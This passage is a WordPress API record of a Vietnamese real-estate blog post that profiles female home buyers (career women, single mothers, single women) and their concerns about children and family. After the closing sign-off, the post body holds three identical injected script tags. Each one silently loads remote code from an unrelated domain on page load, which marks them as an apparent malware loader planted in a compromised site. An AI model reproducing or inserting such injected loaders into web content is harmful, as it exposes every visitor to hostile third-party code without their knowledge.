t\u00ecnh<\/p>\n<p><strong>\u2013 Kinh doanh:<\/strong><\/p>\n<p>+ Cu\u1ed9c s\u1ed1ng b\u1eadn r\u1ed9n, nhi\u1ec1u giao ti\u1ebfp, quan h\u1ec7 x\u00e3 h\u1ed9i, v\u1edbi nh\u1eefng ph\u1ee5 n\u1eef th\u00e0nh \u0111\u1ea1t th\u00ec th\u01b0\u1eddng y\u00eau th\u00edch s\u1ef1 hi\u1ec7n \u0111\u1ea1i.<\/p>\n<p>+ Quan t\u00e2m t\u1edbi t\u01b0\u01a1ng lai con c\u00e1i, b\u1eadn r\u1ed9n ch\u01b0a c\u00f3 nhi\u1ec1u th\u1eddi gian ch\u0103m s\u00f3c cho con.<\/p>\n<p><strong>\u2013 Single mom:<\/strong><\/p>\n<p>+ \u0110\u00e3 \u0111\u1ed5 v\u1ee1, t\u1ef1 l\u1ef1c<\/p>\n<p>+ Con c\u00e1i l\u00e0 tr\u00ean h\u1ebft<\/p>\n<p>+ Kh\u00e1t khao h\u1ea1nh ph\u00fac<\/p>\n<p><strong>\u2013 \u0110\u1ed9c th\u00e2n:<\/strong><\/p>\n<p>+ Cu\u1ed9c s\u1ed1ng t\u1ef1 do<\/p>\n<p>+ L\u00e0 ng\u01b0\u1eddi ph\u1ee5 n\u1eef \u0111\u1ed9c l\u1eadp v\u1ec1 kinh t\u1ebf, c\u00f3 ch\u00fat th\u00e0nh c\u00f4ng tr\u00ean s\u1ef1 nghi\u1ec7p<\/p>\n<p><strong>\u2013 Insight kh\u00e1ch h\u00e0ng n\u1eef:<\/strong><\/p>\n<p><strong>+ Con c\u00e1i<\/strong>:\u00a0V\u1edbi t\u1ea5t c\u1ea3 nh\u1eefng ng\u01b0\u1eddi ph\u1ee5 n\u1eef, b\u1ea3n n\u0103ng l\u00e0m m\u1eb9 lu\u00f4n r\u1ea5t l\u1edbn. H\u1ecd lu\u00f4n khao kh\u00e1t con c\u00e1i c\u00f3 m\u1ed9t cu\u1ed9c s\u1ed1ng t\u1ed1t \u0111\u1eb9p h\u01a1n, khao kh\u00e1t cho con m\u1ed9t gia \u0111\u00ecnh h\u1ea1nh ph\u00fac, m\u1ed9t n\u1ec1n gi\u00e1o d\u1ee5c t\u1ed1t nh\u1ea5t c\u00f3 th\u1ec3. V\u1edbi nh\u1eefng ng\u01b0\u1eddi ph\u1ee5 n\u1eef tr\u1ebb c\u00f3 cu\u1ed9c s\u1ed1ng b\u1eadn r\u1ed9n th\u00ec th\u01b0\u1eddng c\u00f3 c\u1ea3m gi\u00e1c c\u00f3 l\u1ed7i v\u1edbi con c\u00e1i khi kh\u00f4ng \u0111\u1ee7 th\u1eddi gian d\u00e0nh cho con. Ch\u00ednh v\u00ec v\u1eady h\u1ecd mong mu\u1ed1n cho con nh\u1eefng \u0111i\u1ec1u t\u1ed1t nh\u1ea5t ( cho con \u0111i h\u1ecdc nh\u1eefng n\u01a1i t\u1ed1t, mua s\u1eafm,\u2026)<\/p>\n<p><strong>+ Gia \u0111\u00ecnh<\/strong>:\u00a0Nh\u1eefng ng\u01b0\u1eddi ph\u1ee5 n\u1eef \u1edf \u0111\u1ed9 tu\u1ed5i n\u00e0y lu\u00f4n ti\u1ec1m \u1ea9n nh\u1eefng lo l\u1eafng v\u1ec1 h\u1ea1nh ph\u00fac gia \u0111\u00ecnh, r\u1ee7i ro trong h\u00f4n nh\u00e2n, lo s\u1ee3 ch\u1ed3ng ngo\u1ea1i t\u00ecnh ho\u1eb7c nh\u1eefng m\u00e2u thu\u1eabn trong cu\u1ed9c s\u1ed1ng v\u1ee3 ch\u1ed3ng. V\u1edbi nh\u1eefng ng\u01b0\u1eddi ph\u1ee5 n\u00e0y, khi cu\u1ed9c s\u1ed1ng h\u00f4n nh\u00e2n c\u00f3 tr\u1ee5c tr\u1eb7c, h\u1ecd th\u01b0\u01a1ng v\u00e0 lo cho con, d\u1ed3n c\u1ea3 v\u00e0o con c\u0169ng v\u00ec lo con c\u00e1i \u1ea3nh h\u01b0\u1edfng.<\/p>\n<p>T\u1ea1i sao vi\u1ec7c hi\u1ec3u insight c\u1ee7a c\u00e1c \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng s\u1ebd li\u00ean quan \u0111\u1ebfn c\u00f4ng vi\u1ec7c? Ch\u00fang ta s\u1ebd n\u00f3i g\u00ec v\u1edbi h\u1ecd? T\u1ea1i sao h\u1ecd n\u00ean mua c\u0103n h\u1ed9 n\u00e0y? Ch\u00fang ta s\u1ebd n\u00f3i nh\u1eefng c\u00f4ng n\u0103ng g\u00ec d\u00e0nh cho h\u1ecd.<\/p>\n<p>Nh\u1eefng ng\u01b0\u1eddi ph\u1ee5 n\u1eef \u0111\u1ed9c th\u00e2n h\u1ecd s\u1ebd lu\u00f4n lu\u00f4n mong mu\u1ed1n cu\u1ed9c s\u1ed1ng hi\u1ec7n \u0111\u1ea1i, vui, tho\u1ea3i m\u00e1i, c\u00f3 nh\u1eefng \u0111i\u1ec1u y\u00eau th\u01b0\u01a1ng, c\u00f3 nh\u1eefng \u0111i\u1ec1u ng\u1ecdt ng\u00e0o \u0111\u1ed1i v\u1edbi h\u1ecd. Nh\u01b0ng v\u1edbi nh\u1eefng ng\u01b0\u1eddi ph\u1ee5 n\u1eef 30-45 tu\u1ed5i \u0111\u00e3 c\u00f3 gia \u0111\u00ecnh ho\u1eb7c t\u1eebng \u0111\u1ed5 v\u1ee1 h\u1ecd quan t\u00e2m li\u1ec7u con c\u1ee7a h\u1ecd s\u1ed1ng \u1edf m\u00f4i tr\u01b0\u1eddng n\u00e0y c\u00f3 t\u1ed1t hay kh\u00f4ng? C\u00f3 g\u1ea7n tr\u01b0\u1eddng hay kh\u00f4ng? M\u00f4i tr\u01b0\u1eddng n\u00e0y c\u00f3 t\u1ed1t cho con hay kh\u00f4ng? Mong mu\u1ed1n c\u1ee7a h\u1ecd d\u00e0nh cho con r\u1ea5t l\u1edbn.<\/p>\n<p>T\u1ea5t c\u1ea3 nh\u1eefng g\u00ec ch\u1ea1m \u0111\u01b0\u1ee3c nh\u1eefng \u0111i\u1ec1u kh\u00e1ch h\u00e0ng mong mu\u1ed1n s\u1ebd gi\u00fap b\u1ea1n ti\u1ebfp c\u1eadn v\u1edbi kh\u00e1ch h\u00e0ng m\u1ed9t c\u00e1ch \u0111\u00fang tr\u1ecdng t\u00e2m h\u01a1n.<\/p>\n<p><a href=\"https:\/\/www.facebook.com\/retiproptech\/\" target=\"_blank\" rel=\"noopener\"><strong>RETI<\/strong><\/a> ch\u00fac b\u1ea1n c\u00f3 th\u00eam nh\u1eefng ki\u1ebfn th\u1ee9c v\u1ec1 vi\u1ec7c x\u00e1c \u0111\u1ecbnh t\u1ec7p kh\u00e1ch h\u00e0ng trong ng\u00e0nh b\u1ea5t \u0111\u1ed9ng s\u1ea3n nh\u00e9! \u0110\u1eebng qu\u00ean theo d\u00f5i nh\u1eefng ki\u1ebfn th\u1ee9c b\u1ed5 \u00edch v\u1ec1 B\u1ea5t \u0111\u1ed9ng s\u1ea3n, ngh\u1ec1 m\u00f4i gi\u1edbi B\u1ea5t \u0111\u1ed9ng s\u1ea3n t\u1ea1i: <strong><a href=\"https:\/\/reti.vn\/blog\/\">reti.vn\/blog<\/a><\/strong>.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>X\u00e1c \u0111\u1ecbnh ch\u00e2n dung kh\u00e1ch h\u00e0ng b\u1ea5t \u0111\u1ed9ng s\u1ea3n l\u00e0 y\u1ebfu t\u1ed1 then ch\u1ed1t, \u1ea3nh h\u01b0\u1edfng r\u1ea5t l\u1edbn \u0111\u1ebfn vi\u1ec7c ch\u1ed1t deal li\u1ec7u c\u00f3 th\u00e0nh c\u00f4ng hay kh\u00f4ng. C\u00f9ng RETI t\u00ecm hi\u1ec3u chi ti\u1ebft h\u01a1n trong b\u00e0i vi\u1ebft sau \u0111\u00e2y nh\u00e9! X\u00e1c \u0111\u1ecbnh ch\u00e2n dung kh\u00e1ch h\u00e0ng \u0111\u1ec3 bi\u1ebft h\u1ecd l\u00e0 ai, h\u1ecd c\u1ea7n g\u00ec [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":36899,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"tdm_status":"","tdm_grid_status":"","footnotes":""},"categories":[36,307],"tags":[],"class_list":{"0":"post-36897","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-cam-nang-bat-dong-san","8":"category-meo-nho-bat-dong-san"},"external_url":"","featured_image_url":"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2023\/03\/chan-dung-kh-bds-2.png","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/36897","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=36897"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/36897\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media\/36899"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=36897"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=36897"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=36897"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}